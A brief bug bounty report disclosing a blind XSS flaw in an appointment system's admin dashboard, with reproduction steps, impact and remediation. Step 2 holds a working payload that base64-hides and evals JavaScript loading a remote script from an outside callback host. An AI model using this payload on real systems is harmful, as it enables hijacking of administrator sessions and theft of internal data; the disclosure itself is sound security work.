BugBountyHunter

Summary:

Found Blind XSS on the Internal Dashboard of the Administrator, where the Administrator can view and Manage the Appointments.

Steps To Reproduce:

1. Create an Appointment and Intercept the Request in the Burp
2. Now in the Burpsuite Change the fname with the payload : x"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbXJ4aHVudC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

NOTE: You must add ambulance parameter as well with value equal to 1

3. Wait for a few hrs or days (mine though executed after a few days) the XSS will execute

Impact:

The Attacker can run arbitrary Scripts and can Fuzz all the endpoints available their and Can get the data using webhook Url.

Remediation:

Any parameter which is directly inserted into the source must be Sanitized first and Checked for containing any malicious payload